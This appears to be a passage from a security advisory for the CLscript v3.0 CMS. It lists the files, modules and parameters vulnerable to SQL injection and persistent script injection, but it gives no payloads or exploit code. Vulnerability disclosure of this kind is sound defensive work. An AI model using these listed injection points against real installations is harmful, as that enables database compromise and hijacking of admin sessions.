The vulnerabilities are located in the userDetail.php, advertise_detail.php or land.php files with the bound vulnerable pid, rid and id parameters. Successful exploitation of the vulnerability results in dbms, service & application compromise. Vulnerable File(s): [+] userDetail.php [+] advertise_detail.php [+] land.php Vulnerable Module(s): [+] land [+] pageDetail [+] enquiry_detail [+] userDetail [+] advertise_detail [+] config_id Vulnerable Module(s): [+] rID [+] ID [+] pID [+] faq_id [+] sp_id [+] config_id 1.2 Multiple persistent input validation vulnerabilities are detected in the CLscript v3.0 Content Management System. The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent). The input validation vulnerabilities are located in the topic, new word, subcategories, add a new help, add currency or add new FAQs modules. Remote attackers can inject script code to the vulnerable modules by injecting malicious tags as titles, descriptions, word names, category names, currency code or as questions. Successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent) context manipulation. Exploitation requires low user inter action & privileged user account. Vulnerable Module(s): [+] Topic [+] New word [+] Subcategory [+] Add a new help [+] Add currency (Symbol – Currency code) [+] Add new FAQ (Question) Vulnerable Parameter(s): [+] (title – description) [+] (word name) [+] (category name) [+] (name) [+] (symbol – currency code) [+] (question) 测试证明: ================= The sql injection vulnerabilities can be exploited by remote attackers without privileged user accounts or user inter action.
